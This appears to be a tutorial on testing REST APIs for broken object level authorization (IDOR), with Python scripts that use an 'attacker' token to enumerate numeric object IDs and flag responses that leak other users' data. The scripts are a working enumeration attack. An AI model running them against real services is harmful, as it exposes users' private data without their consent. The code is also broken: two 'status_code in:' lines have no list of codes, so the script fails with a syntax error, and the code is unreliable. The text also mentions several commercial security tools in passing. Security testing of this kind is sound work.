Developing Python Scripts to Test for Broken Object Level Authorization (BOLA) in REST APIs

Testing for Broken Object Level Authorization (BOLA) in REST APIs is not merely a compliance checkbox; it is a critical measure against direct data exposure and unauthorized access. This vulnerability, often synonymous with Insecure Direct Object References (IDOR), occurs when an API endpoint accepts an object identifier (e.g., a user ID, order ID, or document ID) without adequately verifying that the authenticated user is authorized to access that specific object. Attackers exploit this by simply manipulating these IDs to gain access to resources belonging to other users or roles. Developing Python scripts provides a flexible, powerful, and automatable method to systematically uncover these flaws.

Identifying Target Endpoints for BOLA Testing

The initial phase involves discovering API endpoints that handle object references. This often means scrutinizing network traffic during legitimate application usage, analyzing developer documentation, or even reverse-engineering client-side code. Look for URLs or request bodies containing predictable or enumerable identifiers such as sequential numbers, UUIDs, or even email addresses used as unique keys. Tools like Zondex can assist in broader reconnaissance, helping identify exposed services which might host relevant APIs, but the granular endpoint discovery often relies on proxying browser traffic through tools like Burp Suite or OWASP ZAP.

Consider an API endpoint for retrieving user profiles: GET /api/v1/users/{user_id}. If a legitimate user, say user_alice (ID: 101), can access their profile via /api/v1/users/101, the objective is to determine if user_bob (ID: 102) can access user_alice's profile by requesting /api/v1/users/101 using user_bob's authentication token.

Authentication and Session Management

Successful BOLA testing requires valid authentication for the attacking user. API authentication methods vary widely, from bearer tokens (e.g., JWTs) and API keys to session cookies or OAuth. The Python requests library is excellent for handling these. Your script must correctly include the authentication credentials in subsequent requests. A common pattern is to include a bearer token in the Authorization header.

Example: Authenticated GET Request with Bearer Token


import requests
import json
import os

# Configuration from environment variables or a secure configuration store
BASE_URL = os.getenv("API_BASE_URL", "https://api.example.com/v1")
ATTACKER_TOKEN = os.getenv("ATTACKER_JWT_TOKEN", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkF0dGFja2VyIFVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fWPfH_o_s_attackertoken")

def make_authenticated_request(method, endpoint, token, data=None, params=None):
    """
    Makes an authenticated HTTP request to the API.
    """
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    url = f"{BASE_URL}{endpoint}"

    try:
        if method.upper() == "GET":
            response = requests.get(url, headers=headers, params=params, timeout=10)
        elif method.upper() == "POST":
            response = requests.post(url, headers=headers, json=data, timeout=10)
        elif method.upper() == "PUT":
            response = requests.put(url, headers=headers, json=data, timeout=10)
        elif method.upper() == "DELETE":
            response = requests.delete(url, headers=headers, timeout=10)
        else:
            print(f"[-] Unsupported HTTP method: {method}")
            return None

        response.raise_for_status() # Raise an exception for HTTP errors (4xx or 5xx)
        return response
    except requests.exceptions.HTTPError as e:
        print(f"[-] HTTP Error for {endpoint}: {e.response.status_code} - {e.response.text}")
        return e.response
    except requests.exceptions.ConnectionError as e:
        print(f"[-] Connection Error for {endpoint}: {e}")
        return None
    except requests.exceptions.Timeout as e:
        print(f"[-] Timeout Error for {endpoint}: {e}")
        return None
    except requests.exceptions.RequestException as e:
        print(f"[-] General Request Error for {endpoint}: {e}")
        return None

if __name__ == "__main__":
    # Example usage: Fetch attacker's own profile to verify token
    print("[*] Testing authenticated request with attacker's token...")
    # Assuming attacker's ID is part of their token or known, here we use a placeholder 102
    attacker_id_endpoint = "/users/102" 
    response = make_authenticated_request("GET", attacker_id_endpoint, ATTACKER_TOKEN)

    if response and response.status_code == 200:
        print(f"[+] Successfully fetched attacker's own profile (ID 102): {json.dumps(response.json(), indent=2)}")
    elif response:
        print(f"[-] Failed to fetch attacker's own profile. Status: {response.status_code}, Response: {response.text}")
    else:
        print("[-] An error occurred during the authenticated request.")

Crafting the BOLA Test Script

The core of BOLA testing involves iterating through potential object IDs and attempting unauthorized access. This requires identifying the pattern of object IDs, whether they are sequential integers, UUIDs, or other formats. Once the pattern is understood, a loop can be constructed to substitute various IDs into the vulnerable endpoint. It is often beneficial to route this traffic through a proxy for monitoring and inspection, for which GProxy can be configured to manage proxy routing during testing, allowing for centralized observation of requests and responses.

Enumerating Object IDs

Object IDs can range from simple sequential numbers (e.g., 1, 2, 3...) to complex UUIDs (e.g., a1b2c3d4-e5f6-7890-1234-567890abcdef). For sequential IDs, a simple range() loop in Python suffices. For UUIDs, if a valid UUID is known, one might attempt minor modifications, though this is less effective than brute-forcing numerical IDs. More advanced techniques might involve collecting IDs from other, less protected endpoints or publicly available data.

Making Unauthorized Requests and Analyzing Responses

The objective is to make a request using an authenticated *attacker's* token (e.g., ATTACKER_TOKEN) but targeting a *victim's* resource ID. The server's response is key to identifying a BOLA vulnerability.

  • 200 OK: If the API returns a 200 OK status code along with the victim's data, it's a clear BOLA vulnerability.
  • 403 Forbidden: This indicates that the server recognized the request, understood the resource being requested, but denied access due to insufficient permissions. While not a BOLA bypass, it signifies that authorization checks are in place, even if they might be overly permissive in other contexts.
  • 401 Unauthorized: This status typically means the client's authentication credentials are missing or invalid. This is generally an authentication issue, not an authorization issue at the object level.
  • 404 Not Found: This can be ambiguous. It might mean the resource truly doesn't exist, or the server is intentionally obfuscating the resource's existence to an unauthorized user. Contextual analysis (e.g., if requesting your own valid ID returns 200, but a different valid ID returns 404, it suggests an authorization check is occurring) is needed.

Comprehensive BOLA Test Script Example


import requests
import json
import os
import time

# --- Configuration ---
# Base URL for the API
BASE_URL = os.getenv("API_BASE_URL", "https://api.example.com/v1")
# Bearer token for the attacker's account (e.g., a low-privilege user)
ATTACKER_TOKEN = os.getenv("ATTACKER_JWT_TOKEN", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkF0dGFja2VyIFVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fWPfH_o_s_attackertoken")
# Range of object IDs to test (adjust based on target application's ID patterns)
START_ID = int(os.getenv("START_ID", 100))
END_ID = int(os.getenv("END_ID", 200)) # Test up to but not including this ID
# Path to the vulnerable endpoint, with {} as a placeholder for the object ID
VULNERABLE_ENDPOINT_TEMPLATE = os.getenv("VULNERABLE_ENDPOINT_TEMPLATE", "/users/{}")
# Delay between requests to avoid rate limiting (in seconds)
REQUEST_DELAY_SECONDS = float(os.getenv("REQUEST_DELAY_SECONDS", 0.5))
# A known legitimate object ID for comparison (e.g., a public profile or an ID you know exists)
KNOWN_LEGITIMATE_ID = os.getenv("KNOWN_LEGITIMATE_ID", "101")
# HTTP proxy settings (e.g., for Burp Suite or GProxy)
PROXIES = {
    "http": os.getenv("HTTP_PROXY", None),
    "https": os.getenv("HTTPS_PROXY", None),
}
if PROXIES["http"] is None:
    PROXIES = None # Disable proxies if not set

# --- Request Function ---
def make_request(method, endpoint, token, data=None, params=None, expected_status=200):
    """
    Makes an HTTP request with specified authentication and logs the outcome.
    """
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }
    url = f"{BASE_URL}{endpoint}"

    try:
        session = requests.Session()
        if PROXIES:
            session.proxies.update(PROXIES)

        if method.upper() == "GET":
            response = session.get(url, headers=headers, params=params, timeout=10)
        elif method.upper() == "POST":
            response = session.post(url, headers=headers, json=data, timeout=10)
        elif method.upper() == "PUT":
            response = session.put(url, headers=headers, json=data, timeout=10)
        elif method.upper() == "DELETE":
            response = session.delete(url, headers=headers, timeout=10)
        else:
            print(f"[-] Unsupported HTTP method: {method}")
            return None

        return response
    except requests.exceptions.RequestException as e:
        print(f"[-] Request Error for {endpoint}: {e}")
        return None

# --- BOLA Test Logic ---
def test_bola(start_id, end_id, vulnerable_endpoint_template, attacker_token):
    """
    Automates BOLA testing for a range of numerical object IDs.
    """
    print(f"[*] Starting BOLA test on {BASE_URL}{vulnerable_endpoint_template.format('{id}')} for IDs {start_id} to {end_id-1}")
    print(f"[*] Using attacker token: {attacker_token[:20]}...")
    if PROXIES:
        print(f"[*] Traffic routed through proxy: {PROXIES.get('https', PROXIES.get('http'))}")

    vulnerable_ids = []
    
    # First, verify the attacker can't access a known legitimate ID they shouldn't have
    # If this returns 200, it might be a general authorization bypass, not just BOLA.
    # This assumes KNOWN_LEGITIMATE_ID is *not* the attacker's own ID.
    print(f"\n[*] Verifying access to a known legitimate ID ({KNOWN_LEGITIMATE_ID}) with attacker token...")
    test_endpoint = VULNERABLE_ENDPOINT_TEMPLATE.format(KNOWN_LEGITIMATE_ID)
    initial_response = make_request("GET", test_endpoint, attacker_token)
    
    if initial_response and initial_response.status_code == 200:
        print(f"[!!!] ALERT: Attacker can access KNOWN_LEGITIMATE_ID {KNOWN_LEGITIMATE_ID} (Status: {initial_response.status_code}). This indicates a potential critical authorization bypass beyond simple BOLA.")
        print(f"    Response Content: {initial_response.text[:200]}...")
    elif initial_response and initial_response.status_code in: # Expected behavior
        print(f"[+] Expected: Attacker was denied access to KNOWN_LEGITIMATE_ID {KNOWN_LEGITIMATE_ID}. Status: {initial_response.status_code}")
    else:
        print(f"[-] Unexpected response for KNOWN_LEGITIMATE_ID {KNOWN_LEGITIMATE_ID}. Status: {initial_response.status_code if initial_response else 'N/A'}")

    print("\n[*] Commencing object ID enumeration...")

    for object_id in range(start_id, end_id):
        endpoint = vulnerable_endpoint_template.format(object_id)
        print(f"[*] Testing ID: {object_id} -> {endpoint}", end='\r') # Print on same line
        
        response = make_request("GET", endpoint, attacker_token)
        
        if response:
            if response.status_code == 200:
                print(f"\n[!!!] BOLA VULNERABILITY FOUND for ID {object_id} (Status: {response.status_code})")
                print(f"    Endpoint: {endpoint}")
                try:
                    print(f"    Response Content (partial): {json.dumps(response.json(), indent=2)[:500]}...")
                except json.JSONDecodeError:
                    print(f"    Response Content (plain, partial): {response.text[:500]}...")
                vulnerable_ids.append(object_id)
            elif response.status_code in: # Expected authorization failures
                # print(f"\n[+] ID {object_id} correctly denied (Status: {response.status_code})")
                pass # Suppress frequent "correctly denied" messages for cleaner output
            elif response.status_code == 404:
                # print(f"\n[-] ID {object_id} not found or access denied (Status: 404)")
                pass # Suppress frequent "not found" messages
            else:
                print(f"\n[?] Unexpected status {response.status_code} for ID {object_id}")
                print(f"    Endpoint: {endpoint}")
                print(f"    Response Content (partial): {response.text[:200]}...")
        else:
            print(f"\n[-] Request failed for ID {object_id}")

        time.sleep(REQUEST_DELAY_SECONDS) # Respect rate limits

    if vulnerable_ids:
        print(f"\n[!!!] Summary: Found BOLA vulnerabilities for {len(vulnerable_ids)} IDs: {vulnerable_ids}")
    else:
        print("\n[+] No obvious BOLA vulnerabilities found within the tested range.")

if __name__ == "__main__":
    test_bola(START_ID, END_ID, VULNERABLE_ENDPOINT_TEMPLATE, ATTACKER_TOKEN)

Automation Considerations

While this script provides a manual-style BOLA test, integrating such checks into an automated pipeline is crucial for continuous security. Tools like Secably, a platform for vulnerability scanning and automated web security testing, can leverage similar principles to scale BOLA detection across a larger API surface. By feeding discovered endpoints and potential ID patterns into an automated system, the overhead of repeated manual testing is significantly reduced, allowing for broader coverage and faster detection of regressions.

For more complex scenarios, where object IDs are non-sequential GUIDs or dynamically generated, the script would need to adapt. This might involve:

  • Parsing other API responses to extract valid object IDs belonging to other users.
  • Using techniques like fuzzing or dictionary attacks if ID formats are predictable but not strictly sequential (e.g., alphanumeric short codes).
  • Employing more sophisticated response analysis, such as checking for specific data points (e.g., user email addresses, names) within JSON responses to confirm unauthorized data leakage, rather than relying solely on status codes.

Always ensure ethical hacking guidelines are followed, and proper authorization is obtained before conducting such tests on any API not explicitly designed for security testing.